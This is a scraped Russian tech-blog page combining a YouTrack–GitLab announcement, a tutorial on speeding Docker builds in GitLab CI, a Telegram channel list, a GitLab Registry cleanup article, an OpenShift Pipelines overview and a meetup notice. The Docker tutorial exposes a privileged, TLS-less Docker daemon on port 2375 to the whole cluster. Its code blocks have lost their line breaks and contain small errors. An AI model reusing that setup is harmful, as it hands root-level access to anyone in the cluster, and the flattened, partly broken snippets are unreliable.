GitLab CI/CD работает с конвейерами (пайплайнами), каждый из которых состоит из ряда заданий (jobs). При появлении изменений в коде GitLab CI/CD выполняет соответствующие задания из пайплайна, чтобы убедиться, что новый код ничего не сломал. Если задание в пайплайне выполнено успешно, GitLab делится этой радостью с YouTrack, который в свою очередь обновляет нужные задачи.

Как именно обновляет? Как скажете! Например, YouTrack может автоматически помечать задачи, упомянутые в сообщении коммита, как завершенные и прописывать в задаче номер пайплайна и ссылку на него. Как обычно, вы можете завязать на интеграцию рабочие процессы (например, указать, чтобы при изменении значения поля Fixed build на странице задачи появлялся комментарий о том, что фикс доступен в продакшене).

Что еще нового?

Мы внесли ряд улучшений в YouTrack Lite и Classic. В YouTrack Lite появилась функция Похожие задачи, которая позволяет избежать дублирования задач. Когда при создании задачи вы вводите ее название, YouTrack ищет задачи со схожим названием и предлагает вам просмотреть их и убедиться, что новая задача их не дублирует. В YouTrack Classic мы добавили удобный текстовый редактор такой же, как в базе знаний и в YouTrack Lite. Теперь вы можете одним щелчком переключаться между режимом разметки и режимом WYSIWYG, встраивать мультимедийные объекты, создавать таблицы и контрольные списки.

Помимо этого, мы внесли небольшие изменения в текущую схему разрешений. Также напоминаем, что со следующей мажорной версии YouTrack перестанет поддерживать устаревший REST API.

Лучше один раз увидеть, чем сто раз прочитать. Напомню, что YouTrack со всеми его новшествами можно попробовать бесплатно. Мы будем рады вашей обратной связи!

Команда YouTrack

Подробнее..

Перевод Как сократить время сборки образов Docker в GitLab CI

18.01.2021 02:05:59 | Автор: admin

Делаем контейнерные CI среды по-настоящему практичными, ускорив сборку образов Docker.

Современный цикл разработки программного обеспечения зачастую подразумевает, что ваши приложения регулярно упаковываются в контейнеры. Эта задача может занимать много времени, чем может значительно замедлять ваше тестирование или развертывание. Проблема становится особенно очевидной в контексте процесса непрерывной интеграции и развертывания, когда образы пересобираются при каждом изменении в коде

В этой статье мы обсудим различные способы ускорения сборки образов Docker в конвейере непрерывной интеграции путем реализации различных стратегий.

Локальная упаковка приложения

В качестве примера мы возьмем достаточно простое приложение Python Flask:

from flask import Flaskapp = Flask(__name__)@app.route('/')def hello_world():    return 'Hello, World!'

Написание Dockerfile

Давайте напишем соответствующий Dockerfile:

FROM python:3.7-alpine as builder# установка зависимостей, необходимых для сборки пакетов pythonRUN apk update && apk add --no-cache make gcc && pip install --upgrade pip# настройка venv и загрузка или сборка зависимостейENV VENV="/venv"ENV PATH="${VENV}/bin:${PATH}"COPY requirements.txt .RUN python -m venv ${VENV} \    && pip install --no-cache-dir -r requirements.txtFROM python:3.7-alpine# настройки venv с зависимостями с этапа компоновкиENV VENV="/venv"ENV PATH="${VENV}/bin:$PATH"COPY --from=builder ${VENV} ${VENV}# копирование файлов приложенияWORKDIR /appCOPY app .# запуск приложенияEXPOSE 5000ENV FLASK_APP="hello.py"CMD [ "flask", "run", "--host=0.0.0.0" ]

Здесь вы можете наблюдать классический многоступенчатый процесс сборки:

  • Мы начинаем с легкого базового образа, в который мы устанавливаем инструменты сборки и загружаем или компилируем зависимости в виртуальную среду Python.

  • На втором этапе мы копируем виртуальную среду с нашими зависимостями в целевой образ и, наконец, добавляем файлы приложения.

Почему этот процесс выполняется в два этапа? Во-первых, потому что вы получаете секьюрный процесс сборки, поскольку он выполняется в контейнере без вмешательства среды хоста. Во-вторых, вы получаете облегченный финальный образ без всех библиотек сборки, а только с тем, что требуется для запуска приложения.

Запуск и тестирование образа.

Убедитесь, что все работает должным образом:

docker build -t hello .docker run -d --rm -p 5000:5000 hellocurl localhost:5000Hello, World!

Если вы запустите команду docker build во второй раз:

docker build -t hello ....Step 2/15 : RUN apk update && apk add --no-cache make gcc && pip install --upgrade pip ---> Using cache ---> 24d044c28dce...

Как видите, вторая сборка происходит намного быстрее, так как слои кэшируются в вашей локальной службе Docker и используются повторно, если в них не вносили изменений.

Отправка образа

Давайте опубликуем наш образ во внешнем реестре и посмотрим, что произойдет:

docker tag hello my-registry/hello:1.0docker push my-registry/hello:1.0The push refers to repository [my-registry/hello]8388d558f57d: Pushed 77a59788172c: Pushed 673c6888b7ef: Pushed fdb8581dab88: Pushed6360407af3e7: Pushed68aa0de28940: Pushedf04cc38c0ac2: Pushedace0eda3e3be: Pushedlatest: digest: sha256:d815c1694083ffa8cc379f5a52ea69e435290c9d1ae629969e82d705b7f5ea95 size: 1994

Обратите внимание, как каждый из промежуточных слоев идентифицируется хэшем. Мы можем насчитать 8 слоев, потому что у нас есть ровно 8 docker команд в Dockerfile поверх нашей последней инструкции FROM.

Важно понимать, что слои из нашего базового образа компоновщика не отправляются в удаленный реестр Docker, когда мы пушим наш образ, пушатся только слои из последнего этапа. Однако промежуточные слои по-прежнему кэшируются в локальном демоне Docker и их можно повторно использовать для вашей следующей локальной команды сборки.

С локальной сборкой все достаточно просто, давайте теперь посмотрим, как это будет работать в CI среде.

Сборка образа Docker в контексте CI конвейера

В реальных условиях сборка и отправка образов Docker не всегда выполняется локально, как мы только что это делали. Обычно она выполняется внутри платформы непрерывной интеграции и развертывания. Перед развертыванием приложения вам нужно собирать и пушить свой образ при каждом изменении в коде. Естественно время сборки имеет решающее значение, так как вам нужен максимально быстрый цикл обратной связи.

Тестовая CI среда

Мы реализуем CI среду, используя:

Последний пункт важен, потому что наши CI задачи будут выполняться в контейнерной среде. Учитывая это, каждая задача создается в виде пода Kubernetes. Каждое современное CI решение использует контейнерные задачи, и при создании Docker контейнеров все они сталкиваются с одной и той же проблемой: вам нужно заставить Docker команды работать внутри Docker контейнера.

Чтобы все прошло гладко, у вас есть два пути:

  • Забиндить /var/run/docker.sock, который слушает демон Docker, сделав демон хоста доступным для нашего контейнера задач.

  • Использовать дополнительный контейнер, запускающий Docker in Docker (также известный как dind) вместе с вашей задачей. Dind - это особый вариант Docker, работающий с привилегиями и настроенный для работы внутри самого Docker ?

Для нашего примера мы будем использовать второй вариант.

Реализация GitLab конвейера

В GitLab конвейере обычно вы создаете служебные контейнеры, такие как DinD, с помощью ключевого слова service.

В приведенном ниже фрагменте конвейера и задача docker-build, и служебный dind контейнер будут выполняться в одном и том же поде Kubernetes. Когда в сценарии задачи используется docker, он отправляет команды вспомогательному dind контейнеру благодаря переменной среды DOCKER_HOST.

stages:  - build  - test  - deployvariables:  # отключаем проверку Docker TLS  DOCKER_TLS_CERTDIR: ""  # адрес localhost используется как контейнером задачи, так и dind контейнером (поскольку они используют один и тот же под)  # Таким образом, при выполнении команд Docker эта конфигурация делает службу dind нашим демоном Docker   DOCKER_HOST: "tcp://localhost:2375"services:  - docker:stable-dinddocker-build:  image: docker:stable  stage: build  script:      - docker build -t hello .      - docker tag my-registry/hello:${CI_COMMIT_SHORT_SHA}      - docker push my-registry/hello:${CI_COMMIT_SHORT_SHA}

Запуск конвейера

Этот конвейер должен работать нормально. Запустив его один раз и проверив вывод задачи, мы получим:

docker build -t hello .Step 1/15 : FROM python:3.7-alpine as builder...Step 2/15 : RUN apk update && apk add --no-cache make gcc && pip install --upgrade pip---> Running in ca50f59a21f8fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz...

Поскольку мы впервые создаем наш контейнер, каждый слой создается путем выполнения команд. Общее время выполнения задачи составляет около 1 минуты.

Если вы запустите конвейер во второй раз, ничего не меняя, вы должны увидеть то же самое: каждый слой перестраивается! Когда мы запускали наши команды сборки локально, кэшированные слои использовались повторно. А здесь - нет. Для такого простого образа это на самом деле не имеет значения, но в реальной жизни, где для создания некоторых образов могут потребоваться десятки минут, это может стать настоящей проблемой.

Почему так происходит? Просто потому, что в этом случае dind - это временный контейнер, который создается вместе с задачей и умирает после ее завершения, поэтому все кэшированные данные теряются. К сожалению, вы не можете легко сохранить данные между двумя запусками конвейера.

Как же нам получить выгоду от кэширования и по-прежнему использовать Dind-контейнер?

Использование кэша Docker вместе с Docker in Docker

Первое решение: Pull/Push танцы

Первое решение довольно простое: мы будем использовать наш удаленный реестр (тот, в который мы пушим) в качестве удаленного кэша для наших слоев.

Если быть точнее:

  • Мы начинаем с извлечения (pull) самого актуального образа (т. е. последнего) из удаленного реестра, который будет использоваться в качестве кэша для последующей docker команды сборки.

  • Затем мы создаем образ, используя извлеченный образ в качестве кэша (аргумент --cache-from), если он доступен. Мы помечаем эту новую сборку в качестве последней и коммитим SHA.

  • Наконец, мы помещаем оба образа с тегами в удаленный реестр, чтобы их также можно было использовать в качестве кэша для последующих сборок.

stages:  - build  - test  - deploy    variables:   # отключаем проверку Docker TLS  DOCKER_TLS_CERTDIR: ""  DOCKER_HOST: "tcp://localhost:2375"services:  - docker:stable-dinddocker-build:  image: docker:stable  stage: build  script:    - docker pull my-registry/hello:latest || true    - docker build --cache-from my-registry/hello:latest -t hello:latest .    - docker tag hello:latest my-registry/hello:${CI_COMMIT_SHORT_SHA}    - docker tag hello:latest my-registry/hello:latest    - docker push my-registry/hello:${CI_COMMIT_SHORT_SHA}    - docker push my-registry/hello:latest

Если вы запустите этот новый конвейер два раза, разница от использования кэша все равно будет неудовлетворительной.

Все слои из базового образа компоновщика пересобираются. Только первые 2 слоя (8 и 9) заключительного этапа используют кэш, но последующие слои перестраиваются.

Как мы видели ранее, при локальной отправке нашего образа слои базового образа компоновщика не помещаются в удаленный реестр и фактически теряются. Следовательно, когда мы извлекаем последние образы, их там нет, и их нужно строить заново.

Затем, когда наш финальный образ собран (шаги с 8 по 15), первые два слоя присутствуют в образе, который мы извлекли и использовали в качестве кэша. Но на шаге 10 мы получаем зависимости образа компоновщика, которые изменились, поэтому все последующие шаги также строятся заново.

Подводя итог, можно сказать, что использование кэша в значительной степени ограничено: только 2 шага из 15 используют кэш! Чтобы исправить это, нам нужно отправлять образ промежуточного компоновщика в удаленный реестр, чтобы сохранить его слои:

stages:  - build  - test  - deploy    variables:    # отключаем проверку Docker TLS  DOCKER_TLS_CERTDIR: ""  DOCKER_HOST: "tcp://localhost:2375"services:  - docker:stable-dinddocker-build:  image: docker:stable  stage: build  script:    - docker pull my-registry/hello-builder:latest || true    - docker pull my-registry/hello:latest || true    - docker build --cache-from my-registry/hello-builder:latest --target builder -t hello-builder:latest .    - docker build --cache-from my-registry/hello:latest --cache-from my-registry/hello-builder:latest -t hello:latest .    - docker tag hello-builder:latest my-registry/hello-builder:latest        - docker tag hello:latest my-registry/hello:${CI_COMMIT_SHORT_SHA}    - docker tag hello:latest my-registry/hello:latest    - docker push my-registry/hello-builder:latest    - docker push my-registry/hello:${CI_COMMIT_SHORT_SHA}    - docker push my-registry/hello:latest

Мы создаем промежуточный этап нашего сборщика в качестве образ докера, используя опцию target. После этого мы пушим его в удаленный реестр, в конечном итоге извлекая его в качестве кэша для создания нашего финального образа. При запуске конвейера наше время сократилось до 15 секунд!

Как видите, сборка постепенно усложняется. Если вы уже начинаете путаться, тогда представьте образ с 3 или 4 промежуточными стадиями! Но это метод работает. Другой недостаток заключается в том, что вам придется каждый раз загружать и выгружать все эти слои, что может быть довольно дорогостоящим с точки зрения затрат на хранение и передачу.

Второе решение: внешняя служба dind

Нам нужно запустить службу dind для выполнения нашей сборки docker. В нашем предыдущем решении dind был встроен в каждую задачу и разделял ее жизненный цикл, что делало невозможным создание надлежащего кэша.

Почему бы не сделать Dind гражданином первого класса, создав службу Dind в нашем кластере Kubernetes? Она будет работать с подключенным PersistentVolume для обработки кэшированных данных, и каждая задача может отправлять свои docker команды в эту общую службу.

Создать такую службу в Kubernetes достаточно просто:

apiVersion: v1kind: PersistentVolumeClaimmetadata:  labels:    app: docker-dind  name: dindspec:  accessModes:    - ReadWriteOnce  resources:    requests:      storage: 500Gi---apiVersion: apps/v1kind: Deploymentmetadata:  labels:    app: docker-dind  name: dindspec:  replicas: 1  selector:    matchLabels:      app: docker-dind  template:    metadata:      labels:        app: docker-dind    spec:      containers:        - image: docker:19.03-dind          name: docker-dind          env:            - name: DOCKER_HOST              value: tcp://0.0.0.0:2375            - name: DOCKER_TLS_CERTDIR              value: ""          volumeMounts:            - name: dind-data              mountPath: /var/lib/docker/          ports:            - name: daemon-port              containerPort: 2375              protocol: TCP          securityContext:            privileged: true # Требуется для работы dind контейнера.      volumes:        - name: dind-data          persistentVolumeClaim:            claimName: dind            ---apiVersion: v1kind: Servicemetadata:  labels:    app: docker-dind  name: dindspec:  ports:    - port: 2375      protocol: TCP      targetPort: 2375  selector:    app: docker-dind

Затем мы немного изменим наш исходный GitLab конвейер, чтобы он указывал на эту новую внешнюю службу, и удалим встроенные dind службы:

stages:  - build  - test  - deploy    variables:   # отключаем проверку Docker TLS  DOCKER_TLS_CERTDIR: ""   # здесь имя хоста dind разрешается как dind служба Kubernetes с помощью kube dns  DOCKER_HOST: "tcp://dind:2375"docker-build:  image: docker:stable  stage: build  script:    - docker build -t hello .    - docker tag hello:latest my-registry/hello:{CI_COMMIT_SHORT_SHA}    - docker push my-registry/hello:{CI_COMMIT_SHORT_SHA}

Если вы запустите конвейер дважды, второй раз сборка должна занять 10 секунд, что даже лучше, чем в нашем предыдущем решении. Для большого образа, для построения которого требуется около 10 минут, эта стратегия также сокращает время построения до нескольких секунд, если слои не изменялись.

И последний вариант: использование Kaniko

Последним вариантом может быть использование Kaniko. С его помощью вы можете создавать образы Docker без использования демона Docker, делая все, что мы сейчас делали, без особых проблем.

Однако обратите внимание, что при этом вы не можете использовать расширенные BuildKit опции, такие как, например, внедрение секретов при создании образа. По этой причине я сконцентрировался на другом решении.

Заключение

Поскольку при разработке программного обеспечения контейнеры широко используются практически повсюду, их эффективное создание является ключевым моментом в конвейере релиза. Как мы видели, проблема может стать довольно сложной, и каждое решение имеет свои компромиссы. Предлагаемые здесь решения проиллюстрированы с использованием GitLab, но стоит отметить, что они будут работать и в других контейнерных CI средах.


А прямо сейчас приглашаем ва ознакомиться с программой супер-интенсива"CI/CD или Непрерывная поставка с Docker и Kubernetes", а таже записаться надень открытых дверей.


Подробнее..

Подборка телеграм-каналов для DevOps инженеров

13.03.2021 14:14:35 | Автор: admin

Приветствую, братцы!

Задача получения актуальной информации и совета опытных коллег сегодня актуальна как никогда. С одной стороны, сложно превзойти крупнейшие ИТ-сообщества в Slack. С другой стороны, важно иметь контакт с коллегами в нашей стране, в своем городе. Телеграм за последние годы стал крупнейшей площадкой для русскоязычного ИТ-сообщества, присоединяйтесь, не отставайте :)

Подборка телеграм-каналов и чатов:

Вакансии

Devops Jobs - Вакансии и резюме

Jobs for Devs & Ops - Вакансии для инженеров и разработчиков

Новостные каналы

Mops DevOps - Kubernetes, DevOps, SRE и многое другое

DevOps Deflope News - Новостной канал

Записки админа - Linux и администрировании серверов

k8s (in)security - Канал о (не)безопасности Kubernetes

Мир IT c Антоном Павленко - IT новости, статьи и видео

Конференции

DevOpsConf Channel - Информационный канал профессиональной конференции по эксплуатации и devops DevOpsConf Russia

Meetup Moscow - анонсы конференций

Инструменты DevOps

terraform_ru - Русскоязычный чат Hashicorp Terraform

pro_ansible- Чат для взаимопомощи по Ansible

Docker_ru- Русскоговорящее сообщество по экосистеме Docker (чат)

RU.Docker - Официальное Русское Сообщество (чат)

ru_gitlab- Русскоговорящая группа по GitLab

ru_jenkins- Русскоговорящая группа по Jenkins

Инфраструктура

Kubernetes- Общаемся на темы, посвященные Kubernetes, конфигурации и возможностям

istio_ru - Чат про Mervice Mesh в целом и Istio в частности

Вокруг Kubernetes в Mail.ru Group митапы по Kubernetes, DevOps, открытым технологиям в Mail.ru Group и немного проKubernetes как сервис

Envoy Proxy- Делимся опытом, экспертизой, советами и фэйлами :)

nginx_ru - Сообщество пользователей nginx, новости, обсуждения конфигураций

SDS и Кластерные FS - Обсуждаем Software-defined storage, кластерные файловые системы, блочные хранилища, стратегии построения хранилища и все что с ними связанно (Linstor, DRBD, ZFS, LVM, Ceph, GlusterFS, Lustre, MooseFS, LizardFS, mdadm, S3, iSCSI, NFS, OrangeFS, OCFS, GFS2)

Грефневая Кафка (pro.kafka)- Здесь топят за Кафку (Apache Kafka )

pro.kafka- Чат для добросовестных господ и дам, посвящённый Apache Kafka

DBA- Общаемся и обсуждаем темы, посвященные DBA, PostgreSQL, Redis, MongoDB, MySQL...

Облачные провайдеры

AWS_ru- Чат про Amazon Web Services

AWS notes- Канал про Amazon Web Services

Yandex.Cloud - Новости от команды платформы Yandex.Cloud

IT-журнал Завтра облачно - Блог команды Mail.ru Cloud Solutions (MCS)

Мониторинг и сбор логов

VictoriaMetrics_ru - Чат для обсуждения VictoriaMetrics

Церковь метрик- Канал про Метрики. Метрики. Метрики.

ru_logs - ElasticSearch, Graylog, Mtail, rsyslog и все такое прочее

Мониторим ИТ- Канал о мониторинге ИТ-инфраструктуры и приложений

Друзья, очень вероятно, что я мог забыть про какой-нибудь хороший, полезный и всеми любимы телеграм-канал. Жду ваши идеи в комментариях.

Подробнее..
Категории: Kubernetes , Gitlab , Devops , Nginx , Docker , Monitoring , Istio , Telegram , Aws , Envoy

Чистка GitLab Registry для Kubernetes админов

18.04.2021 18:19:42 | Автор: admin

В наше время в каждом доме по кластеру kubernetes, выкатка приложений в кластер осуществляется по тегу. Образ выкатываемого приложения отправляется тегом в репозиторий проекта Registry GitLab, которое постепенно распухает до невероятных размеров.

Существующие решения

  • Решение из коробки

    Идем в проект Settings CI/CD CleanUp policy for tags. Тут можно создать некий шаблон, который под капотом использует Bulk Delete и, в принципе, все не плохо ЕСЛИ у вас куча тегов ссылающихся на один и тот же образ. Но если у вас идет активная разработка и каждый второй тег - это новый образ, этот способ не поможет.

  • Решения от community

    1. "Сжечь и перевыкатить"

    2. Ручная либо полу ручная сортировка образов и тегов.

Данные решения мне не понравились, а значит:

Подготовка

Любая разумная деятельность должна начинаться со сбора информации. Поэтому первым делом сканим или проводим опрос всех до кого можем дотянуться, не хранит ли кто-нибудь в проектах образов, которые не работают в постоянном режиме (образы от Job, CronJob или просто склад полезных образов). Внимательно записываем в книжечку проекты, которые лучше не трогать.

Настраиваем сборщик мусора GitLab

Теги в GitLab registry ссылаются на образы, а образы используют слои.Если почистить только теги, сильного прироста свободного места мы не получим.

Поэтому рекомендую вставить в расписание сron команду для удаления образов, не имеющих тегов

sudo gitlab-ctl registry-garbage-collect

Можно освободить еще больше места удалив не используемые слои образов

sudo gitlab-ctl registry-garbage-collect -m

ВНИМАНИЕ: Во время чистки мусора останавливается служба registry, как следствие пользователи не смогут делать push, pull.

Опытные джедаи могут сократить время простоя путем временного перевода registry в режим readonly.

sudo vi /etc/gitlab/gitlab.rb
registry['storage'] = {    'maintenance' => {      'readonly' => {        'enabled' => true      }    }  }
sudo gitlab-ctl reconfigure

по окончанию работ устанавливаем enabled в false и снова sudo gitlab-ctl reconfigure.

Алгоритм чистки

GitLab

Для работы с GitLab нам понадобится GitLab API и токен с правами api + если хотим проверять и чистить приватные репозитории понадобится read_repository и write_registry.

Для получения образов, хранимых в registry GitLab, нужны id проекта и id репозитория в registry.

GitLab pagination

GitLab выдает информацию страницами, размер страницы про умолчанию 20 элементов, максимальный размер страницы 100 элементов. Также в заголовке передается поле X-Total, а в нем общее количество элементов его можно использовать для того, чтобы сразу генерировать список страниц и опрашивать их параллельно.

  1. Забираем информацию о проектах через /api/v4/projects, endpoint возвращает список объектов. Полей много, но нас интересует поле id.

  2. Фильтруем проекты, которые необходимо исключить.

  3. Зная project[id] собираем информацию о репозиториях через /api/v4/projects/{project[id]}/registry/repositories. Тут мы получим список объектов из которых заберем id репозиториев.

  4. И, наконец, собираем теги /api/v4/projects/{repo['project_id']}/registry/repositories/{repo['id']}/tags

На выходе список объектов, вот пример одного из них:

{    "location": "mygitlab.abc.ru:3000/dev/my-awsome-app/base:deploy_123",    "name": "deploy_123",    "path": "dev/my-awsome-app/base:deploy_123"  }

Я туда сразу вбрасываю поле del_url, как можно догадаться в нем URL для удаления данного образа.

Итог - список всех тегов с образами и ссылками на удаление тега, за исключением тех проектов которые мы изначально решили не трогать.

Kubernetes

Для взаимодействия с Kubernetes используется модуль kubernetes. Если вы, также как и я, хотите заново изобрести велосипед - список пользовательских библиотек для разных языков лежит здесь.

Kubernetes хранит историю всех, работающих в нем приложений ее можно посмотреть командой kubectl rollout history <указание на объект>, либо собрать ReplicaSetы и по номеру ревизии определить кто за кем идет. Я использовал второй вариант он также позволит нам забирать любые интересующие нас поля. Из полученной информации я забирал образ, номер ревизии и идентификатор. В качестве идентификатора приложения к которому принадлежит данный replicaset я использовал имя namespace + label app либо для служебных приложений replica_set.spec.template.spec.service_account. Получаем объект поля - идентификаторы приложения, содержимое - образы с ревизиями. Дальше все просто, оставляем по каждому приложению N образов из последних ревизий и оставшиеся образы сбрасываем в одну кучу.

Итог - список образов из Kubernetes, если эти образы есть в GitLab их теги чистить не нужно.

ВНИМАНИЕ: В список не попадут Job и CronJob так как они не имеют ReplicaSet. Чтобы их сохранить можно ручками внести проекты в исключения либо автоматически отфильтровать.

Унифицированного подхода я не придумал, а наша реализация этой фичи останется секретом фирмы :)

"Отделяем зерна от плевел" точнее наоборот...

Из множества образов GitLab, вычитаем множество Кубернячих образов и получаем то, что можно удалить. Ниже картинка для наглядности.

Для полной автоматизации все это можно запихнуть в контейнер, создать на это дело CronJob или Job. Только не забудьте добавить этот проект в исключения.

Автоматизация написана на python, но это не столь принципиально. Можно значительно сократить размер кода и затраты памяти, если чуть чуть подумать.

Подробнее..
Категории: Kubernetes , Open source , Gitlab , Devops , Opensourse , Registry

Представляем OpenShift Pipelines

27.05.2021 16:21:56 | Автор: admin

3 мая 2021 года Red Hat выпустила первую общедоступную версию OpenShift Pipelines, облачно-ориентированной системы непрерывной интеграции на базе СПО-проекта Tekton. Решение реализует Kubernetes фреймворк CI/CD для разработки и выполнения конвейеров, в которых каждый шаг запускается в своем собственном контейнере, что позволяет масштабировать шаги независимо друг от друга. Сегодня мы вкратце рассмотрим ключевые особенности и преимущества этого решения, а также приведем список дополнительных ресурсов для дальнейшего знакомства с ней и освоения.

Но, прежде чем переходить к OpenShift Pipelines, освежим в памяти основные концепты Tekton.

Основные концепты Kubernetes-нативной CI/CD

OpenShift Pipelines дополняет Kubernetes/OpenShift соответствующими CRD (ресурсами, определяемыми пользователем) для концептов CI/CD, таких как конвейер (pipeline), задача (task), шаг (step). В результате, эти концепты становятся своими (native) инстанцируемыми их можно создавать в виде отдельных экземпляров и, как следствие, полноценно масштабировать и развертывать, а также обеспечивать их безопасность средствами Kubernetes.

Поэтому для начала вспомним, что такое концепты Tekton:

Рис. 1. КонцептыTektonРис. 1. КонцептыTekton

По сути, основные концепты Tekton делятся на два вида: те, что задают конвейер, и те, что запускают конвейер.

Концепты, задающие конвейер (define pipeline)

  • Task повторно используемые и слабо связанные серии шагов (step), которые выполняют определенную задачу, например, сборку контейнерного образа.

  • Pipeline описание конвейера и задач (Task), которые он должен выполнять.

Концепты, запускающие конвейер (run pipelines)

  • TaskRun запуск и результаты выполнения экземпляра Task.

  • PipelineRun запуск и результаты выполнения экземпляра конвейера, который включает в себя ряд концептов TaskRun.

Подробнее об этих концептах можно почитать в официальной документации.

Теперь разберемся, что такое OpenShift Pipelines и для чего он нужен

Что такого особенного в OpenShift Pipelines?

OpenShift Container Platform это ведущая отраслевая Kubernetes-платформа корпоративного класса, которая предоставляет разработчикам множество функций, среди которых есть и CI/CD.

OpenShift Pipelines базируется на СПО-проекте Tekton и расширяет функционал платформы OpenShift стандратными методами, что сильно облегчает жизнь разработчикам.

Установка OpenShift Pipelines через механизм Operator

OpenShift Pipelines поддерживается на уровне механизма операторов, поэтому он легко устанавливается и обновляется, и, соответственно, легко администрируется.

OpenShift Pipelines доступен на сайте OperatorHub, где представлены более 450 различных операторов для OpenShift Container Platform:

Установка OpenShift Pipelines предельно проста, и он сразу устанавливается как оператор уровня кластера, автоматически становясь доступным для всех проектов:

OpenShift Pipelines также дополняет OpenShift соответствующими CR, которые позволят добиться еще большей универсальности в плане конфигурации и интеграции с консолью OpenShift и т.д.

При появлении в OperatorHub новой версии OpenShift Pipelines, вы как администратор можете выбрать обновление до следующей версии, задав нужный канал обновления.

Развитый UI в рамках консоли OpenShift

Tekton тоже дополняет стандартную поставку OpenShift концептами CI/CD, но в нем при создании и запуске конвейеров сложно обойтись без создания YAML-кода, и этого кода требуется писать очень много, тысячи строк. Поэтому Red Hat реализовала в консоли OpenShift полноценный UI для запуска и визуализации конвейеров (как тех, что работают сейчас, так и тех, что уже отработали), а также для графического создания конвейеров. При этом все необходимые YAML-файлы создаются автоматически, без написания какого-либо кода.

Ниже показано графическое представление конвейера, который уже был выполнен на платформе OpenShift, причем прямо из него можно получить доступ к журналам и событиям всех задач этого конвейера:

Рис. 2. Конвейеры в консоли OpenShiftРис. 2. Конвейеры в консоли OpenShift

При желании можно легко просмотреть полный лог выбранной задачи:

Чтобы еще больше облегчить жизнь разработчикам, OpenShift Pipelines позволяет рисовать конвейеры прямо в консоли OpenShift, поэтому вам больше не нужен черный пояс по YAML, чтобы создать свой первый конвейер Tekton:

Рис. 3. Графическое проектирование конвейера в консоли OpenShiftРис. 3. Графическое проектирование конвейера в консоли OpenShift

Но если вы, как обладатель черного пояса по YAML, захотите что-то подправить, это всегда можно сделать прямо из консоли OpenShift:

Рис. 4. YAML примеры и снипеты в консоли OpenShiftРис. 4. YAML примеры и снипеты в консоли OpenShift

Более того, OpenShift Pipelines пригодится, даже если вы решите пойти по пути чистого YAML, и предложит вам готовые примеры и снипеты кода для более быстрой разработки конвейеров YAML. Кроме того, в систему можно интегрировать ваши корпоративные снипеты, сделав их доступными всем разработчикам. Именно для этого мы и добавили специальный CRD под названием ConsoleYAMLSamples.

События как триггеры для запуска конвейеров

Хотите увязать запуск конвейеров с некими внешними событиями (в терминах Tekton это называется Trigger), например, push- или pull-запросами Github или Gitlab? Вообще не проблема, в OpenShift Pipelines это есть из коробки, причем поддерживаются различные вендоры, включая Github, Gitlab, BitBucket и т.д.

Рис. 5. Добавление триггера в консоли OpenShiftРис. 5. Добавление триггера в консоли OpenShift

Вы просто создаете нужный триггер в UI, а OpenShift сам формирует все необходимые концепты, такие как EventListeners, TriggerTemplates (подробнее о них можно почитать в официальной документации).

Готовые повторно используемые задачи и кастомизация

OpenShift Pipelines из коробки содержит десятки готовых задач, которые можно использовать в составе конвейеров, включая задачи по клонированию кода из репозитория, сборки приложений на различных языках программирования, таких как java, dotnet core, python go, nodejs или использования инструментов сборки вроде maven, развертывания приложений и т.д. Список доступных задач можно увидеть в консоли OpenShift, раздел ClusterTasks, меню Pipelines -> Tasks:

Рис. 6. OpenShift Pipelines из коробки предлагает десятки готовых задачРис. 6. OpenShift Pipelines из коробки предлагает десятки готовых задач

Кроме того, этот список можно легко расширить. Для этого достаточно добавить ClusterTasks в кластер, после чего вам станут доступны сотни дополнительных задач на сайте TektonHub, который представляет собой публичный репозиторий для обмена задачами Tekton:

Рис. 7.TektonHub публичный репозиторий повторно используемых задач и конвейеров TektonРис. 7.TektonHub публичный репозиторий повторно используемых задач и конвейеров Tekton

Интеграция с IDE

Разработчики, использующие командную строку и IDE, могут воспользоваться преимуществами Tekton CLI, расширения Tekton для Visual Studio Code и плагина Tekton для IntelliJ, чтобы взаимодействовать с конвейерами прямо из своей обычной среды разработки и создавать, запускать, просматривать и выполнять действия на кластере непосредственно из командной строки.

Рис. 8. Расширение VSCode для OpenShift PipelinesРис. 8. Расширение VSCode для OpenShift Pipelines

Полезные ресурсы

В заключение советуем посмотреть видеоверсию этой статьи на английском:

А также рекомендуем следующие ресурсы (EN):

Видеоролики на русском:

Вебинары:

Подробнее..

Acceleration Community Meetup 2801

21.01.2021 16:23:47 | Автор: admin
Ждем вас на онлайн-митап Acceleration Community 28 января: поделимся опытом смены инструмента в большой организации, вместе познаем искусство удерживать баланс между бизнес-ценностями и техническим долгом, а также узнаем, какой он современный подход к безопасной разработке в крупных IT-компаниях.

Регистрируйтесь и присоединяйтесь к нам!



О чем поговорим


Из зоопарка в лунапарк, или как мы всем банком Gitlab внедряли

Сергей Куприянов, Райффайзенбанк

О спикере: Сергей product owner команды backend tools, части acceleration team. Команда разрабатывает и внедряет инструменты для разработчиков внутри Райффайзенбанка. Сергей пришел в банк тестировщиком, работал в команде финансов. Сейчас занимается, инфраструктурными проектами, DevOps, CI/CD процессами.

О докладе: Казалось бы, совсем недавно мы избавились от зоопарка инструментов и перешли на стек Atlassian и Bamboo, в частности, но счастье оказалось недолгим наши запросы возросли, и мы встали перед необходимостью выбора нового инструмента Ci/Cd.

В докладе мы расскажем, чем не подошел Bamboo, был ли его выбор ошибкой или нет, какие критерии мы ставили при выборе нового инструмента (и деньги лишь один из них), а также, как правильно подойти к смене инструмента в большой организации, ничего не забыть и, главное, постараться учесть мнение заинтересованных сторон.

Искусство канатоходца бизнес и искусство

Андрей Юмашев, ЛитРес

О спикере: CTO по информационному обеспечению в ЛитРес. Более 15 лет в IT, последние несколько лет евангелист DevOps-философии, специалист по построению коммуникаций и процессов в IT-части бизнеса.

О докладе: Мы всегда знаем, что нам делать. То, что делается это исключительное искусство. Его сложно загнать в рамки метрик и отчётов. Расскажу, как грамотно удерживать баланс между бизнес-ценностями и техническим долгом и что это вообще такое. И как наложить метрики на деятельность и выстроить плавные и гибкие процессы, понятные руководству компании.

Cовременный подход к безопасной разработке в крупных IT-компаниях

Владимир Пазухин, Ernst & Young (EY)

О спикере: Владимир менеджер компании Ernst & Young, с 2013 года занимается выполнением проектов в области кибербезопасности и специализируется на тестировании защищенности приложений, анализе безопасности исходного кода, анализе рисков информационных систем и совершенствовании процессов кибербезопасности. Область интересов: интеграция контролей и тестов информационной безопасности в процессы DevOps, анализ уязвимостей современных онлайн-сервисов и мобильных приложений, а также автоматизация выявления подобных уязвимостей.

